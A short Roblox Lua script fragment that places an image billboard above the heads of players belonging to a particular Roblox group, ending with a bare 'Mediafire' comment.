for i,v in pairs(CBA.players) do
if v.Character ~= nil then
if v.Character:findFirstChild("Head") ~= nil then
if v.Character.Head:findFirstChild("CBAgui") == nil then
if v:IsInGroup(430539) then
local bg = Instance.new("BillboardGui", v.Character.Head)
bg.Name = "CBAgui"
bg.Adornee = v.Character.Head
bg.Size = UDim2.new(1, 0, 1, 0)
bg.StudsOffset = Vector3.new(0, 2, 0)
local fram = Instance.new("Frame", bg)
fram.Size = UDim2.new(1, 0, 1, 0)
fram.BackgroundColor3 = Color3.new(1, 1, 1)
fram.BackgroundTransparency = 1
local text = Instance.new("ImageLabel", fram)
text.Image = CBA.image
text.Size = UDim2.new(1, 0, 1, 0)
text.BackgroundTransparency = 1
end end end end end end

--Mediafire